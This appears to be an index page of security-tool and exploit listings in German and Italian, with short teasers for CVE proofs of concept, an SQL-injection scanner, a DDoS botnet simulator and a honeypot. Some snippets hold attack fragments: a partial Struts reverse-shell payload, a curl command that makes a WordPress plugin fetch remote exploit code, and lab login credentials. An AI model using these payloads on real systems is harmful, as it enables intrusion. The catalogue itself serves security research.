ToolShell-Honeypot

ToolShell-Honeypot SharePoint Zero-Day Ein Docker-basierter Honeypot zur Erkennung und Protokollierung von Exploit-Versuchen gegen Microsoft-SharePoint-Zero-Day-Schwachstellen. Dieser Honeypot dient der frühzeitigen Erkennung und der Bedrohungsanalyse Threat Intelligence, nicht der Simulation ein...

CVE-2024-8353

Dieser Beitrag ist ein Forschungsartikel, veröffentlicht von EQSTLab. Dank ancuokon, der diese Schwachstelle entdeckt hat. Einleitung Weiterführende Analyse CVE-2024-5932 EQST Insight R&TPDF-Datei. https://github.com/user-attachments/assets/085c2f81-2894-4bb7-a3f5-62406dcb1021 CVE-2024-8353 ★...

CVE-2023-47564

CVE-2023-47564 https://www.qnap.com/en/security-advisory/qsa-24-03 https://vulners.com/cve/CVE-2023-47564 CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:N 8.1 "Eine fehlerhafte Berechtigungszuweisung für eine kritische Ressource wurde gemeldet, die Qsync Central betrifft. Bei Ausnutzung könnte die...

secure-by-default-rce-demo

Mitigazione RCE in Node.js: il DevOps come ultima linea di difesa Questo progetto dimostra una vulnerabilità critica di Remote Code Execution RCE in un'applicazione Next.js in particolare tramite Server Actions e come l'indurimento dell'infrastruttura neutralizzi efficacemente l'attacco anche...

CVE-2025-53652-Jenkins-Git-Parameter-Analysis

CVE-2025-53652: Vulnerabilità di input non convalidato nel plugin Jenkins Git Parameter. Riepilogo Questa vulnerabilità nasce perché l'input controllato dall'utente nei parametri di build di Jenkins viene iniettato in modo non sicuro nel comando Git checkout. L'input dell'utente viene fornito com...

CVE-2024-57430

CVE-2024-57430 Eine SQL-Injection-Schwachstelle in der Funktion pjActionGetUser des PHPJabbers Cinema Booking System v2.0 ermöglicht es Angreifern, Datenbankabfragen über den Parameter column zu manipulieren. Die Ausnutzung dieses Fehlers kann zu unbefugter Offenlegung von Informationen,...

CVE-2011-2523

vsftpd 2.3.4 Backdoor-Exploit FTP-Server: vsftpd Anfällige Version: 2.3.4 CVE: CVE-2011-2523 Sicherheitslücke: Backdoor auf Port 6200 wird geöffnet, wenn der Benutzer Zeichenfolgen eingibt, die mit : im FTP-USER-Parameter enden Anmerkungen: Der RCE muss nicht authentifiziert sein...

DSSS

Damn Small SQLi Scanner Damn Small SQLi Scanner DSSS è uno scanner di vulnerabilità SQL injection completamente funzionante supporta parametri GET e POST scritto in meno di 100 righe di codice. Come impostazioni opzionali supporta il proxy HTTP insieme ai valori degli header HTTP User-Agent,...

bonesi

BoNeSi BoNeSi , der DDoS-Botnetz-Simulator, ist ein Werkzeug zur Simulation von Botnetz-Traffic in einer Testumgebung auf der Leitung. Es wurde entwickelt, um die Auswirkungen von DDoS-Angriffen zu untersuchen. Welcher Traffic kann erzeugt werden? BoNeSi generiert ICMP-, UDP- und...

CVE-2026-5118

CVE-2026-5118 — Divi Form Builder ≤ 5.1.2 Unauthenticated Privilege Escalation via Role Injection === Beelze zeroday 1diot9 === 📋 Schwachstelleninformationen Feld| Details ---|--- CVE-ID| CVE-2026-5118 CVSS-Score| 9.8 Kritisch CVSS-Vektor| CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H CWE| CWE-269...

CVE-2021-37832

CVE 2021-37832 Hotel Druid 3.0.2 Vulnerabilità SQL Injection Una vulnerabilità di SQL injection esiste nella versione 3.0.2 di Hotel Druid quando SQLite viene utilizzato come database dell'applicazione. Un attaccante malintenzionato può inviare comandi SQL al database SQLite attraverso il paramet...

S2-052

CVE-2017-9805 （S2-052）Exploit di Reverse Shell Versioni interessate root@kitploit: Struts 2.1.2 - Struts 2.3.33, Struts 2.5 - Struts 2.5.12 PoC root@kitploit: Content-Type: application/xml 0 false 0 calc false java.lang.ProcessBuilder start foo foo false 0 0 false false 0...

cve-2021-3156

CVE-2021-3156 – Baron Samedit Schwachstellenumgebung Erstelle das Image mit der Dockerfile root@kitploit: docker build -t cve-2021-3156:ubuntu2004 . Erstelle einen Container mit dem Image root@kitploit: docker run --rm -it cve-2021-3156:ubuntu2004 /bin/bash Schwachstellenursache In Sudo vor Versi...

CVE-2023-50164Analysis-

CVE-2023-50164: Verwundbare Apache Struts Anwendung Eine kritische Sicherheitslücke, identifiziert als CVE-2023-50164 CVE: 9.8, wurde in Apache Struts gefunden. Sie ermöglicht Angreifern, Datei-Upload-Parameter zu manipulieren, was potenziell zu unbefugtem Pfad-Traversal und Remote-Code-Ausführun...

Axiom-protocol

Axiom: Dezentrales und zensurresistentes Kommunikationsprotokoll 🚀 Live-Deployment Details Netzwerk: Arbitrum One Mainnet L2 Chain-ID: 42161 RPC-Endpunkt: https://arb1.arbitrum.io/rpc oder ein benutzerdefinierter Alchemy/Infura-Endpunkt Axiom-Proxy-Vertragsadresse:...

CVE-2025-43300

CVE-2025-43300 CVE-2025-43300: Speicherkorruption in der DNG-Bildverarbeitung von iOS/macOS Zusammenfassung Eine Schwachstelle in der Bildverarbeitung von Apple RawCamera.bundle betrifft iOS 18.6.1 und macOS. Das Problem tritt auf, wenn DNG-Dateien nicht übereinstimmende TIFF-Metadaten und...

CVE-2023-38890

CVE-2023-38890 Beschreibung Das Online Shopping Portal Project V3.1 ermöglicht es entfernten Angreifern, beliebige SQL-Befehle/-Abfragen über das Anmeldeformular auszuführen, was zu unbefugtem Zugriff und potenzieller Datenmanipulation führt. Diese Schwachstelle entsteht durch unzureichende...

CVE-2019-9978

CVE-2019-9978 - RCE nel plugin Wordpress Social Warfare RCE su un plugin Wordpress Social Warfare senza alcuna autenticazione preventiva Proof of Concept root@kitploit: curl http://127.0.0.1/wp-admin/admin-post.php?rce=id&swpdebug=loadoptions&swpurl=http://172.18.0.1:1337/exploit.php Codice...

CVE-2024-42327

Writeup CVE-2024-42327 Zabbix Schwachstelle Ziel: 10.129.231.176 Informationen: Ich weiß, dass mein Ziel ein Zabbix-Server ist. Ich habe ein Standardbenutzerkonto erhalten, um mich in Zabbix anzumelden: Benutzer matthew, Passwort 96qzn0h2e1k3. Dieses Konto hat einen Standardbenutzer ohne...

CVE-2023-38831

CVE-2023-38831 Ein POC-Demo zu CVE-2023-38831 Kurzbeschreibung der Schwachstelle CVE-2023-38831 ist eine Softwareschwachstelle. Die ausgenutzte Software ist WinRAR, das von fast jedem weit verbreitet verwendet wird. Es ist eine Software, die verschiedene Dokumente oder Dateien in kleine Archive...